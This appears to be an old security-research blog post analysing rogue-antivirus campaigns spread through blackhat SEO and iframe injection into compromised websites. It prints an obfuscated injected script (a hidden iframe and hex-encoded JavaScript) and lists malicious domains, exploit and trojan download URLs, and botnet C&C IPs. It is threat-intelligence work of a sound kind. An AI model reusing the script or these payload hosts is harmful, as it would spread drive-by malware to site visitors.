Malware web based threats: Anatomy of a web hack.
Mass compromise of legitimate websites - Blackhat SEO Rogue Antivirus software and zero-day exploits!
Showing posts with label Rogue Antivirus. Show all posts
Showing posts with label Rogue Antivirus. Show all posts
After Trend Micro researchers claimed that Easter related sites were used to redirect visitors to rogue antivirus websites, PandaLabs recently uncovered similar Black hat SEO attacks against Ford and Ned.org.
By mis-using keywords typically related to global businesses and institutions, the criminals attract unsuspecting visitors to compromized web sites. These sites deceive visitors into downloading and installing a fake antivirus product that is very hard to deactivate or remove.The rogue antivirus gives false alerts to the user making them think that theircomputer is infected. Scared users are then susceptible to buying the "antivirus protection" via a page that looks like a secure SSL web site. In fact, their money are confidential credit card information are stolen by the criminals the moment that they enter their personal information into the payment page.
Many global companies, including Ford have been exploited in this way. Over a million compromized web sites used Ford-based keywords to attract visitors to fake antivirussites via search engines such as Google (Black hat SEO may force Google to change algorithm).Other examples of this attack include the mis-use of Easter related keywords to attract unsuspecting visitors during the Easter season (Trend Micro Malware Blog - Rotten Eggs: An Easter Malware Campaign).
There are other variants of this type of attack originating from the same Ukraine / Russianbased criminal fraternity. For example, the criminals use technical exploits to compromizeweb sites, blog, forums and the like. Wordpress blog management software has been a victim of such an exploit allowing the criminals to inject malicious code directly into all pages.A visitor to one of these infected sites will beredirected to another site where rogue antivirus software is again downloaded (PandaLabs: New Blackhat SEO attack exploits vulnerabilities in Wordpressto distributerogue antivirus software).
The criminals put a lot of effort into assuring the longevity of their scam. Frequent IP changes and moving from location to location help ensure that they can continue their activities.
You can get more information about all these attacks from the following resources. The PandaLabs video gives a particularly clear and concise overview.
The following links provide more information about this attack:
The websites in question are: trustsecurityshield.com and topsecurity4you.com which both have served for only two or three days (hosted on 209.44.126.14).
Technicals details can be found below
Vulnerabilities in Wordpress exploited to distribute rogue antivirus software
Watch the full video:
I will take your attention on the video above.
This is a screenshot at 03:11
If you zoom into it you will see the domain "load-archive-av-pro.com". The domain is still active and shared with many other fake scanner websites like "antivir-scan-pro-best.com" for the location of the payload. Wepawet Analysis
The process:
I will take some words found on Ned.org for example.
From the article on PandaLabs' blog about the SEO attack against
Ford Motor Co.
you can see the domain "globextubes.com"
previously hosted on 64.69.32.203.
This is a graph (from Robtex) of some of these sites serving in
the same campaign:
A quick move to this IP block 209.44.126.0/24 by "Netelligent Hosting Services Inc" which hosts several fake av websites as well as exploits to spread the trojan TDSS/Alureon.
All of these have been found following iframe injected on legit websites, poisoned keyworks in Google Search Engine and links on ad network (screenshot below)
Check it out - maybe someone have access to your PC right now! Protect yourself.
WARNING: All sites listed on this page are dangerous (live URL with exploits) which lead to trojans beeing automatically installed on your computer. Do NOT visit them unless you know what you are doing. (only links are safe)
A nice article provided by Finjan about the Lucky Sploit toolkit, one of the latest script kiddies that cyber criminals used these days can be found following this link: LuckySploit Toolkit Exposed
Using well known technic such as "Code Obfuscation" most often used to hide its first intention (sometimes randomly generated), here is one of the numerous malicious script found on several compromised website.
<iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe> <script>function c102916999516l4963660743084(l4963660743855){ var l4963660744026=16; return (parseInt(l4963660743855,l4963660744026));} function l4963660744fc7(l4963660745797){ function l4963660746f0b(){return 2;} var l4963660745f69=''; l4963660747eab=String.fromCharCode; for(l4963660746738=0;l4963660746738<l4963660745797.length; l4963660746738+=l4963660746f0b()){ l4963660745f69+=(l4963660747eab(c102916999516l4963660743084( l4963660745797.substr(l4963660746738,l4963660746f0b()))));} return l4963660745f69;} var x60=''; var l4963660748680='3C736'+x60+'3726'+x60+'970743E6'+x60+'96'+x60+'6'+x60 +'28216'+x60+'D796'+x60+'96'+x60+'1297B6'+x60+'46'+x60+'F6'+x60+'3756'+x 60+'D6'+x60+'56'+x60+'E742E77726'+x60+'9746'+x60+'528756'+x60+'E6'+x60+ '5736'+x60+'36'+x60+'1706'+x60+'528202725336'+x60+'32536'+x60+'392536'+ x60+'36'+x60+'2537322536'+x60+'312536'+x60+'6'+x60+'42536'+x60+ '352532302536'+x60+'6'+x60+'52536'+x60+'312536'+x60+'6'+x60+'42536'+x60+ '3525336'+x60+'42536'+x60+'332533312533302532302537332537322536'+x60+ '3325336'+x60+'42532372536'+x60+'3825373425373425373025336'+x60+ '125326'+x60+'6'+x60+'25326'+x60+'6'+x60+'2536'+x60+'372536'+x60+'6'+ x60+'6'+x60+'2536'+x60+'372536'+x60+'6'+x60+'6'+x60+'2533322536'+x60+ '6'+x60+'42536'+x60+'3525326'+x60+'52536'+x60+'6'+x60+'52536'+x60+ '3525373425326'+x60+'6'+x60+'25326'+x60+'52536'+x60+'372536'+x60+'6'+ x60+'6'+x60+'25326'+x60+'6'+x60+'2536'+x60+'332536'+x60+'382536'+x60+ '352536'+x60+'332536'+x60+'6'+x60+'225326'+x60+'52536'+x60+'382537342536'+ x60+'6'+x60+'42536'+x60+'6'+x60+'32532372532302537372536'+x60+'392536'+ x60+'342537342536'+x60+'3825336'+x60+'42533332533342533392532302536'+ x60+'382536'+x60+'352536'+x60+'392536'+x60+'372536'+x60+'3825373425336'+ x60+'42533352533352533372532302537332537342537392536'+x60+'6'+x60+ '32536'+x60+'3525336'+x60+'4253237253736'+x60+'2536'+x60+'392537332536'+ x60+'392536'+x60+'322536'+x60+'392536'+x60+'6'+x60+'32536'+x60+ '3925373425373925336'+x60+'12536'+x60+'382536'+x60+'392536'+x60+'342536'+ x60+'342536'+x60+'352536'+x60+'6'+x60+'525323725336'+x60+'525336'+x60+ '325326'+x60+'6'+x60+'2536'+x60+'392536'+x60+'36'+x60+'2537322536'+x60+ '312536'+x60+'6'+x60+'42536'+x60+'3525336'+x60+'52729293B7D76'+x60+'6'+ x60+'172206'+x60+'D796'+x60+'96'+x60+'13D7472756'+x60+'53B3C2F736'+x60+ '3726'+x60+'970743E';alert(l4963660744fc7(l4963660748680)); </script>
Note that the script found in the second redirection show a lot of chat which refer different IPs or hacking problems (IFRAME injected) Google search for "if(!myia)" iframe
An example of site on the same IP:
gogo2me.netresolve to 94.247.2.157 [hs.2-157.zlkon.lv]
WARNING: All sites listed on this page are dangerous (live URL with exploits) which lead to trojans beeing automatically installed on your computer. Do NOT visit them unless you know what you are doing. (only links are safe)
This doesn't include the desinfection of your website (attacked - iframed).
For this change your passwords (windows passwords, FTP, emails, database access etc.) and remove the content injected on each page as quickly as possible (contact your hosting provider for assistance).
This page reference domain found in thousand of compromised websites using obfuscated javascript code injected (IFRAME).
The Zlkon network (DATORU EXPRESS SERVISS) has been cited in several blogs for hosting malicious content for cyber criminals - for example:
On Symantec website for spreading the TDSS trojan [hs.2-104.zlkon.lv] - in conjunction with IPs at UkrTeleGroup Ltd.in December 2008
we have these domain currently live and kicking a lot of websites (simply enter a domain or "in.cgi?cocacola" in google reveal a lot of chat related to hacked domain iframed.)
Also cited on Dancho Danchv's blog here in the serie of embassies websites iframed. (11 of them - including hostindianet[.]com)
On the next IP:
94.247.3.151 [hs.3-152.zlkon.lv]
hxxp://bigtopescorts.cn/in.cgi?id1000 (dead)
hxxp://cheapslotplay.cn/in.cgi?income48
Redirect to exploit hxxp://hyperliteautoservices.cn/index.php (dead) but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Anubis
Using a stack overflow in adobe reader 8.1.1 CVE-2007-5659
It connect to a URL and drop the file "digiwet.dll" Botnets C&C: 213.155.6.32 78.109.30.224
hxxp://hugetopnonfat.cn
dead
hxxp://mediahomenamemartvideo.cn/ in.cgi?income
Botnet C&C / redirect to exploit hxxp://hyperliteautoservices.cn/index.php (dead) but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Redirection Analysis - Anubis
hxxp://hyperliteautoservices.cn
Redirect to exploit hxxp://hyperliteautoservices.cn/index.php but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Redirection Analysis - Anubis Flash exploit is also live:
Redirects to exploits hxxp://liteautogreatest.cn/cache/readme.pdf hxxp://liteautogreatest.cn/cache/flash.swf to load trojan on hxxp://liteautogreatest.cn/load.php VirusTotal - Redirection Analysis - Anubis
Botnet C&C: 78.109.29.112
hxxp://mainnameshop.cn
Redirect to exploits sdfi.hostindianet.com/index.php (dead)
Detection: Win32/Bredolab.B
hxxp://mediahomenamemartvideo.cn
Botnet C&C down (TS v3.2)
hxxp://mediahousenameshopfilm.cn
hxxp://nameashop.cn/in.cgi?income
On 2009-03-21 01:40:07 - Analysis Redirect to exploit on hxxp://sadcwed.hostindianet.com/index.php On 2009-04-05 13:22:58 - Analysis Redirect to exploit on freeonlinehostguide.com/index.php Analysis - VirusTotal - Anubis Detection: Waledac - Kryptik.LI - Win32:Walpak Trojan.Crypt.XPACK.Gen It connect to a botnet and drop the file "digiwet.dll" Botnets: turokgame.cn [74.50.98.156] 94.247.2.95 and 78.109.30.224
Botnet C&C / redirect to exploit hyperliteautoservices.cn/index.php (dead) but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Anubis - Analysis
hxxp://namesupermart.cn
Botnet C&C
hxxp://namestorefilmlife.cn/ in.cgi?income
Botnet C&C / Exploits to litehitscar.cn Analysis then load trojan located hyperliteautoservices.cn/load.php?id=4 VirusTotal - Anubis
hxxp://perfectnamestore.cn /in.cgi?income8
Redirect to exploit hyperliteautoservices.cn/index.php (dead) but the trojan is still available on hyperliteautoservices.cn/load.php VirusTotal - Anubis [94.247.3.151]
hxxp://playbetwager.cn/in.cgi?income
freeonlinehostguide.com/index.php
hxxp://superbetfair.cn/in.cgi?income
Botnet C&C / Exploits to litehitscar.cn Analysis then load trojan located hyperliteautoservices.cn/load.php?id=4 VirusTotal - Anubis - Redirection Analysis Detection: Trojan.Botnetlog.3
The Finjan's Malicious Code Research Center has made a nice report about the business with rogue antivirus software (redirecting visitors from legitimate Web sites). Zdnet Article
I just want to show you some script added on legit websites and the log we've found on the criminal web server.
Note that for each site on this blog like goscanfuse.com, scan6lite.com, scan7new.com, every domain is listed in the Google API "Safe Browsing" and each of them reveal a lot of information. eg. the number on domain used (compromised) and other in conjunctions.
We start by a Google Safe Browsing Diagnostic for: scanline6.com
Result here then redirect to a domain (drive-by-download) which chose the next redirection
ddors.info to "goscandata.com" to "scanany6.com"
Note that during the redirection the "traffic management server" is informed of your IP, the site which served for redirection "the compromised website".
Interesting is that the site serving for the first redirection is cited in Malware Domain List since May 2008! for hosting a zlob variant.
The visitor IP (country), browser version/language and the site you are coming from which is the compromised website.
I will not published the entire log because a LOT of compromised web site is cited. (We also have logs from other server - in MB which include thousand of compromised website.)
This is some of them:
1 1 0 0 0 0 0 0 US en-us 65.55.165.94 hxxp://titi.iax.be/diagnostic-teaching-of-reading-and-journal-articles.html?feed=comments-rss2 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2;) Redirection Analysis
Active attacks: LATEST ADDITIONS